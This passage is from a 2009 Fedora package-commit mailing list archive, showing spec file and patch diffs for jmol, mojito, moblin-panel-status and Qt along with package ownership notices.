@@ -82,9 +92,9 @@ ant doc main
 %install
 rm -rf %{buildroot}
 install -D -p -m 755 jmol %{buildroot}%{_bindir}/%{name}
-install -D -p -m 644 build/JmolUnsigned.jar %{buildroot}%{_datadir}/%{name}/Jmol.jar
-install -D -p -m 644 build/JmolApplet.jar %{buildroot}%{_datadir}/%{name}/JmolApplet.jar
-install -D -p -m 644 %{SOURCE2} %{buildroot}%{_datadir}/pixmaps/%{name}.png
+install -D -p -m 644 build/Jmol.jar %{buildroot}%{_javadir}/Jmol.jar
+install -D -p -m 644 build/JmolApplet.jar %{buildroot}%{_javadir}/JmolApplet.jar
+install -D -p -m 644 %{SOURCE1} %{buildroot}%{_datadir}/pixmaps/%{name}.png
 
 # Install desktop file
 desktop-file-install --dir=${RPM_BUILD_ROOT}%{_datadir}/applications --vendor=fedora jmol.desktop
@@ -100,7 +110,8 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc build/doc/* README.txt COPYRIGHT.txt LICENSE.txt
 %{_bindir}/%{name}
-%{_datadir}/%{name}/
+%{_javadir}/Jmol.jar
+%{_javadir}/JmolApplet.jar
 %{_datadir}/pixmaps/%{name}.png
 %{_datadir}/applications/fedora-%{name}.desktop
 
@@ -113,6 +124,16 @@ rm -rf %{buildroot}
 %doc build/doc/*
 
 %changelog
+* Fri Oct 02 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11581
+- Switch back to tar.bz2 source since xz doesn't work in EL-5.
+- Update to svn revision 11581.
+
+* Tue Sep 22 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11564
+- Update to 11.8 series, svn revision 11564.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 11.6-12.11223svn
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.6-11.11223svn
 - Include desktop file in the spec.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Jul 2009 14:27:47 -0000	1.4
+++ sources	2 Oct 2009 16:26:41 -0000	1.5
@@ -1 +1 @@
-6cdf1f77df024e9a0c07a6df6643002e  jmol-11.6.11223.tar.bz2
+af9c8b8dae12f783ec930ac8c8dd86ee  jmol-11.8.11581svn.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  2 16:26:41 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 16:26:41 +0000 (UTC)
Subject: rpms/jmol/F-11 jmol-11.8-fedorabuild.patch, NONE,
	1.1 jmol-11.8-jarlocation.patch, NONE, 1.1 jmol.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091002162641.C68DC11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31516/F-11

Modified Files:
	jmol.spec sources 
Added Files:
	jmol-11.8-fedorabuild.patch jmol-11.8-jarlocation.patch 
Log Message:
Update to 11.8 series.

jmol-11.8-fedorabuild.patch:
 build.xml |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE jmol-11.8-fedorabuild.patch ---
diff -up Jmol/build.xml.fedorabuild Jmol/build.xml
--- Jmol/build.xml.fedorabuild	2009-09-17 05:37:36.000000000 +0300
+++ Jmol/build.xml	2009-09-23 17:25:56.101688225 +0300
@@ -20,7 +20,7 @@
   <property name="jvxl_version" value="0.1" />
 
   <property name="tests.source.dir" value="source-tests" />
-  <property name="lib.dir" value="jars" />
+  <property name="lib.dir" value="/usr/share/java" />
   <property name="plugin.dir" value="plugin-jars" />
   <property name="appjars.dir" value="build/appjars" />
   <property name="classes.dir" value="build/classes" />
@@ -34,9 +34,9 @@
   <property name="jmol.build.dir" value="build" />
   <property name="docbook-xsl" value="docbook-xsl-1.74.0" />
   <property name="docbook-xml" value="docbook-xml-4.4" />
-  <property name="vecmath.jar" value="vecmath1.2-1.14.jar" />
-  <property name="itext.jar" value="itext-1.4.5.jar" />
-  <property name="commons-cli.jar" value="commons-cli-1.0.jar" />
+  <property name="vecmath.jar" value="vecmath.jar" />
+  <property name="itext.jar" value="itext.jar" />
+  <property name="commons-cli.jar" value="commons-cli.jar" />
 
   <!-- you can set this by defining it in ~/.jmol.build.properties -->
   <property name="keystore.name" value="Must be set by user." />

jmol-11.8-jarlocation.patch:
 jmol |   11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

--- NEW FILE jmol-11.8-jarlocation.patch ---
diff -up Jmol/jmol.orig Jmol/jmol
--- Jmol/jmol.orig	2006-08-28 15:58:20.000000000 +0300
+++ Jmol/jmol	2009-09-27 11:55:14.126801748 +0300
@@ -7,14 +7,5 @@ while [ `echo $1 | egrep '^-D|^-m' | wc 
 	shift
 done
 
-if [ -f ./Jmol.jar ] ; then
-  jarpath=./Jmol.jar
-elif [ -f $JMOL_HOME/Jmol.jar ] ; then
-  jarpath=$JMOL_HOME/Jmol.jar
-elif [ -f /usr/share/jmol/Jmol.jar ] ; then
-  jarpath=/usr/share/jmol/Jmol.jar
-else
-  echo Jmol.jar not found
-  exit
-fi
+jarpath=/usr/share/java/Jmol.jar
 $command -Xmx512m -jar $jarpath $@


Index: jmol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/F-11/jmol.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- jmol.spec	16 Jul 2009 21:02:18 -0000	1.9
+++ jmol.spec	2 Oct 2009 16:26:41 -0000	1.10
@@ -1,8 +1,8 @@
-%define svnrel 11223
+%define svnrel 11581
 
 Name:		jmol
-Version:	11.6
-Release:	11.%{svnrel}svn%{?dist}
+Version:	11.8
+Release:	1.%{svnrel}svn%{?dist}
 Summary:	An open-source Java viewer for chemical structures in 3D
 Group:		Applications/Engineering
 License:	LGPLv2+
@@ -13,20 +13,27 @@ BuildArch:	noarch
 # so we use SVN instead.
 
 # The source package has been created from SVN sources:
-# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_6/Jmol
-Source0:	%{name}-%{version}.%{svnrel}.tar.bz2
+# svn export -r %{svnrel} https://jmol.svn.sourceforge.net/svnroot/jmol/branches/v11_8/Jmol
+# tar jcf jmol-%{version}.%{svnrel}svn.tar.bz2 Jmol
+Source0:	%{name}-%{version}.%{svnrel}svn.tar.bz2
 # Image available at "http://wiki.jmol.org:81/index.php/Image:Jmol_icon_128.png"
-Source2:	Jmol_icon_128.png
-# Patch disabling jar signing
-Patch0:		jmol.patch
+Source1:	Jmol_icon_128.png
+# Patch to get Jmol to build in Fedora
+Patch0:		jmol-11.8-fedorabuild.patch
+# Patch to change jar file location to %{_javadir}
+Patch1:		jmol-11.8-jarlocation.patch 
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	ant
+BuildRequires:	ant, ant-contrib
 BuildRequires:	desktop-file-utils
 BuildRequires:	gettext-devel
+BuildRequires:	itext
+BuildRequires:	jakarta-commons-cli
 BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
+# For javax.vecmath
+BuildRequires:	vecmath
 
 Requires:	java >= 1:1.6.0
 Requires:	jpackage-utils
@@ -40,6 +47,7 @@ and researchers in chemistry and biochem
 Summary:	Javadocs for %{name}
 Group:		Documentation
 Requires:	%{name} = %{version}-%{release}
+Requires:       jpackage-utils
 
 %description javadoc
 This package contains the API documentation for %{name}.
@@ -56,8 +64,10 @@ The documentation for %{name}.
 
 %prep
 %setup -q -n Jmol
-%patch0 -p1
-find -name '*.jar' -o -name '*.class' -exec rm -f '{}' \;
+%patch0 -p1 -b .fedorabuild
+%patch1 -p1 -b .jarlocation
+find -name '*.class' -exec rm -f '{}' \;
+find -name '*.jar' -exec rm -f '{}' \;
 
 # Remove executable permissions from documentation
 chmod 644 README.txt
@@ -73,7 +83,7 @@ Exec=jmol
 Icon=jmol
 Terminal=false
 Type=Application
-Categories=Education;Science;
+Categories=Education;Science;Chemistry;Physics;DataVisualization;
 EOF
 
 %build
@@ -82,9 +92,9 @@ ant doc main
 %install
 rm -rf %{buildroot}
 install -D -p -m 755 jmol %{buildroot}%{_bindir}/%{name}
-install -D -p -m 644 build/JmolUnsigned.jar %{buildroot}%{_datadir}/%{name}/Jmol.jar
-install -D -p -m 644 build/JmolApplet.jar %{buildroot}%{_datadir}/%{name}/JmolApplet.jar
-install -D -p -m 644 %{SOURCE2} %{buildroot}%{_datadir}/pixmaps/%{name}.png
+install -D -p -m 644 build/Jmol.jar %{buildroot}%{_javadir}/Jmol.jar
+install -D -p -m 644 build/JmolApplet.jar %{buildroot}%{_javadir}/JmolApplet.jar
+install -D -p -m 644 %{SOURCE1} %{buildroot}%{_datadir}/pixmaps/%{name}.png
 
 # Install desktop file
 desktop-file-install --dir=${RPM_BUILD_ROOT}%{_datadir}/applications --vendor=fedora jmol.desktop
@@ -100,7 +110,8 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc build/doc/* README.txt COPYRIGHT.txt LICENSE.txt
 %{_bindir}/%{name}
-%{_datadir}/%{name}/
+%{_javadir}/Jmol.jar
+%{_javadir}/JmolApplet.jar
 %{_datadir}/pixmaps/%{name}.png
 %{_datadir}/applications/fedora-%{name}.desktop
 
@@ -113,6 +124,16 @@ rm -rf %{buildroot}
 %doc build/doc/*
 
 %changelog
+* Fri Oct 02 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11581
+- Switch back to tar.bz2 source since xz doesn't work in EL-5.
+- Update to svn revision 11581.
+
+* Tue Sep 22 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.8-1.11564
+- Update to 11.8 series, svn revision 11564.
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 11.6-12.11223svn
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 11.6-11.11223svn
 - Include desktop file in the spec.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/jmol/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	16 Jul 2009 14:27:47 -0000	1.5
+++ sources	2 Oct 2009 16:26:41 -0000	1.6
@@ -1 +1 @@
-6cdf1f77df024e9a0c07a6df6643002e  jmol-11.6.11223.tar.bz2
+af9c8b8dae12f783ec930ac8c8dd86ee  jmol-11.8.11581svn.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct  2 16:31:40 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri,  2 Oct 2009 16:31:40 +0000 (UTC)
Subject: rpms/mojito/devel .cvsignore, 1.10, 1.11 mojito.spec, 1.19,
	1.20 sources, 1.10, 1.11
Message-ID: <20091002163140.14E2911C0419@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv651

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	15 Sep 2009 16:20:26 -0000	1.10
+++ .cvsignore	2 Oct 2009 16:31:39 -0000	1.11
@@ -1 +1 @@
-mojito-0.21.1.tar.bz2
+mojito-0.21.2.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/mojito.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mojito.spec	15 Sep 2009 16:20:27 -0000	1.19
+++ mojito.spec	2 Oct 2009 16:31:39 -0000	1.20
@@ -1,5 +1,5 @@
 Name:           mojito
-Version:        0.21.1
+Version:        0.21.2
 Release:        1%{?dist}
 Summary:        A social network data aggregator
 
@@ -105,6 +105,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.2-1
+- Update to 0.21.2
+
 * Tue Sep 15 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.1-1
 - Update to 0.21.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	15 Sep 2009 16:20:27 -0000	1.10
+++ sources	2 Oct 2009 16:31:39 -0000	1.11
@@ -1 +1 @@
-7e4b359014ade0576431cab32c9cbff1  mojito-0.21.1.tar.bz2
+cea1f50897d35b4e6731cdfeaef24f11  mojito-0.21.2.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct  2 16:34:43 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri,  2 Oct 2009 16:34:43 +0000 (UTC)
Subject: rpms/mojito/F-12 .cvsignore, 1.10, 1.11 mojito.spec, 1.19,
	1.20 sources, 1.10, 1.11
Message-ID: <20091002163443.C20D711C00C1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1828

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	15 Sep 2009 16:20:26 -0000	1.10
+++ .cvsignore	2 Oct 2009 16:34:43 -0000	1.11
@@ -1 +1 @@
-mojito-0.21.1.tar.bz2
+mojito-0.21.2.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/mojito.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mojito.spec	15 Sep 2009 16:20:27 -0000	1.19
+++ mojito.spec	2 Oct 2009 16:34:43 -0000	1.20
@@ -1,5 +1,5 @@
 Name:           mojito
-Version:        0.21.1
+Version:        0.21.2
 Release:        1%{?dist}
 Summary:        A social network data aggregator
 
@@ -105,6 +105,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.2-1
+- Update to 0.21.2
+
 * Tue Sep 15 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.1-1
 - Update to 0.21.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	15 Sep 2009 16:20:27 -0000	1.10
+++ sources	2 Oct 2009 16:34:43 -0000	1.11
@@ -1 +1 @@
-7e4b359014ade0576431cab32c9cbff1  mojito-0.21.1.tar.bz2
+cea1f50897d35b4e6731cdfeaef24f11  mojito-0.21.2.tar.bz2



From pbrobinson at fedoraproject.org  Fri Oct  2 16:37:55 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri,  2 Oct 2009 16:37:55 +0000 (UTC)
Subject: rpms/moblin-panel-status/devel .cvsignore, 1.5,
	1.6 moblin-panel-status.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091002163755.4E76B11C00C1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-status/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3062

Modified Files:
	.cvsignore moblin-panel-status.spec sources 
Log Message:
- New upstream 0.0.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-status/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	30 Sep 2009 10:15:40 -0000	1.5
+++ .cvsignore	2 Oct 2009 16:37:55 -0000	1.6
@@ -1 +1 @@
-moblin-panel-status-0.0.6.tar.bz2
+moblin-panel-status-0.0.7.tar.bz2


Index: moblin-panel-status.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-status/devel/moblin-panel-status.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- moblin-panel-status.spec	30 Sep 2009 10:15:40 -0000	1.7
+++ moblin-panel-status.spec	2 Oct 2009 16:37:55 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           moblin-panel-status
-Version:        0.0.6
+Version:        0.0.7
 Release:        1%{?dist}
 Summary:        Moblin Panel for Social Network Status
 
@@ -55,6 +55,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
+- New upstream 0.0.7 release
+
 * Wed Sep 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
 - New upstream 0.0.6 release, drop upstreamed MC5 patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-status/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	30 Sep 2009 10:15:40 -0000	1.5
+++ sources	2 Oct 2009 16:37:55 -0000	1.6
@@ -1 +1 @@
-570bb1173a0b75777ce3da6a3940ddec  moblin-panel-status-0.0.6.tar.bz2
+5a14375d1513ceaf09fc45bff57303c2  moblin-panel-status-0.0.7.tar.bz2



From than at fedoraproject.org  Fri Oct  2 16:55:36 2009
From: than at fedoraproject.org (Than Ngo)
Date: Fri,  2 Oct 2009 16:55:36 +0000 (UTC)
Subject: rpms/qt/devel 0274-shm-native-image-fix.patch, NONE, 1.1 qt.spec,
	1.336,
	1.337 0012-This-patch-makes-the-raster-graphics-system-use-shar.patch,
	1.1,
	NONE 0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch, 
	1.1, NONE 0018-Fix-QNativeImage-constructor.patch, 1.1, NONE
Message-ID: <20091002165536.E27B411C00C1@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8394

Modified Files:
	qt.spec 
Added Files:
	0274-shm-native-image-fix.patch 
Removed Files:
	0012-This-patch-makes-the-raster-graphics-system-use-shar.patch 
	0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch 
	0018-Fix-QNativeImage-constructor.patch 
Log Message:
cleanup patches


0274-shm-native-image-fix.patch:
 image/qnativeimage.cpp             |   11 +----------
 image/qnativeimage_p.h             |    1 -
 kernel/qapplication_x11.cpp        |    9 +++------
 painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 4 files changed, 14 insertions(+), 20 deletions(-)

--- NEW FILE 0274-shm-native-image-fix.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me	2009-10-02 18:26:02.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp	2009-10-02 18:27:13.000000000 +0200
@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemForma
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
@@ -195,11 +195,6 @@ QNativeImage::QNativeImage(int width, in
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -208,10 +203,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me	2009-10-02 18:33:38.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h	2009-10-02 18:34:01.000000000 +0200
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff -up qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me	2009-10-02 18:27:55.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp	2009-10-02 18:33:30.000000000 +0200
@@ -1959,12 +1959,9 @@ void qt_init(QApplicationPrivate *priv, 
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && ((defaultVisual->red_mask == 0xff0000
-                                                      || defaultVisual->red_mask == 0xf800)
-                                                     && (defaultVisual->green_mask == 0xff00
-                                                         || defaultVisual->green_mask == 0x7e0)
-                                                     && (defaultVisual->blue_mask == 0xff
-                                                         || defaultVisual->blue_mask == 0x1f));
+                X11->use_mitshm = (defaultVisual->red_mask == 0xff0000 || defaultVisual->red_mask == 0xf800)
+                                   && (defaultVisual->green_mask == 0xff00 || defaultVisual->green_mask == 0x7e0)
+                                   && (defaultVisual->blue_mask == 0xff || defaultVisual->blue_mask == 0x1f);
             }
         }
 #endif // QT_NO_MITSHM
diff -up qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me	2009-10-02 18:34:18.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp	2009-10-02 18:35:54.000000000 +0200
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget
 
     QRect br = rgn.boundingRect().translated(offset);
 #ifndef QT_NO_MITSHM
-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif


Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/devel/qt.spec,v
retrieving revision 1.336
retrieving revision 1.337
diff -u -p -r1.336 -r1.337
--- qt.spec	2 Oct 2009 15:30:48 -0000	1.336
+++ qt.spec	2 Oct 2009 16:55:36 -0000	1.337
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -69,13 +69,10 @@ Patch208: 0008-In-a-treeview-with-column
 Patch209: 0009-This-patch-fixes-deserialization-of-values-with-cust.patch
 Patch210: 0010-Import-README.qt-copy-from-the-original-qt-copy.patch
 Patch211: 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch
-Patch212: 0012-This-patch-makes-the-raster-graphics-system-use-shar.patch
-Patch213: 0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch
-Patch214: 0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch
-Patch215: 0015-Make-QMenu-respect-the-minimum-width-set.patch
-Patch216: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
-Patch217: 0017-Add-context-to-tr-calls-in-QShortcut.patch
-Patch218: 0018-Fix-QNativeImage-constructor.patch
+Patch212: 0274-shm-native-image-fix.patch
+Patch213: 0015-Make-QMenu-respect-the-minimum-width-set.patch
+Patch214: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
+Patch215: 0017-Add-context-to-tr-calls-in-QShortcut.patch
 
 # these patches are not merged yet in kde-qt branches
 Patch301: 0118-qtcopy-define.diff
@@ -391,16 +388,10 @@ Qt libraries used for drawing widgets an
 %patch209 -p1 -b .kde-qt-0009
 %patch210 -p1 -b .kde-qt-0010
 %patch211 -p1 -b .kde-qt-0011
-## doesn't apply (looks mostly harmless, affects -raster engine)
-#patch212 -p1 -b .kde-qt-0012
-## doesn't apply (Kevin?)
-#patch213 -p1 -b .kde-qt-0013
-## upstreamed already?
-#patch214 -p1 -b .kde-qt-0014
-%patch215 -p1 -b .kde-qt-0015
-%patch216 -p1 -b .kde-qt-0016
-%patch217 -p1 -b .kde-qt-0017
-%patch218 -p1 -b .kde-qt-0018
+%patch212 -p1 -b .0274-shm-native-image-fix
+%patch214 -p1 -b .kde-qt-0015
+%patch215 -p1 -b .kde-qt-0016
+%patch216 -p1 -b .kde-qt-0017
 
 # not yet merged ones
 %patch301 -p0 -b .0118-qtcopy-define
@@ -965,6 +956,9 @@ fi
 
 
 %changelog
+* Fri Oct 02 2009 Than Ngo <than at redhat.com> - 4.5.3-2
+- cleanup patches
+
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-1
 - qt-4.5.3
 


--- 0012-This-patch-makes-the-raster-graphics-system-use-shar.patch DELETED ---


--- 0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch DELETED ---


--- 0018-Fix-QNativeImage-constructor.patch DELETED ---



From than at fedoraproject.org  Fri Oct  2 16:57:06 2009
From: than at fedoraproject.org (Than Ngo)
Date: Fri,  2 Oct 2009 16:57:06 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.337,1.338
Message-ID: <20091002165706.5CB7C11C00C1@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9267

Modified Files:
	qt.spec 
Log Message:
clean patches



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/devel/qt.spec,v
retrieving revision 1.337
retrieving revision 1.338
diff -u -p -r1.337 -r1.338
--- qt.spec	2 Oct 2009 16:55:36 -0000	1.337
+++ qt.spec	2 Oct 2009 16:57:06 -0000	1.338
@@ -389,9 +389,9 @@ Qt libraries used for drawing widgets an
 %patch210 -p1 -b .kde-qt-0010
 %patch211 -p1 -b .kde-qt-0011
 %patch212 -p1 -b .0274-shm-native-image-fix
-%patch214 -p1 -b .kde-qt-0015
-%patch215 -p1 -b .kde-qt-0016
-%patch216 -p1 -b .kde-qt-0017
+%patch213 -p1 -b .kde-qt-0015
+%patch214 -p1 -b .kde-qt-0016
+%patch215 -p1 -b .kde-qt-0017
 
 # not yet merged ones
 %patch301 -p0 -b .0118-qtcopy-define



From kkofler at fedoraproject.org  Fri Oct  2 17:00:15 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  2 Oct 2009 17:00:15 +0000 (UTC)
Subject: rpms/qt/devel
	0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch, 1.1, NONE
Message-ID: <20091002170015.F41A611C048B@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10349/devel

Removed Files:
	0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch 
Log Message:
rm unused patch (already applied upstream)


--- 0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch DELETED ---



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:03 +0000
Subject: [pkgdb] jbrout ownership updated
Message-ID: <20091002171504.3AAA110F875@bastion2.fedora.phx.redhat.com>

Package jbrout in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/jbrout



From pkgdb at fedoraproject.org  Fri Oct  2 17:15:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 17:15:06 +0000
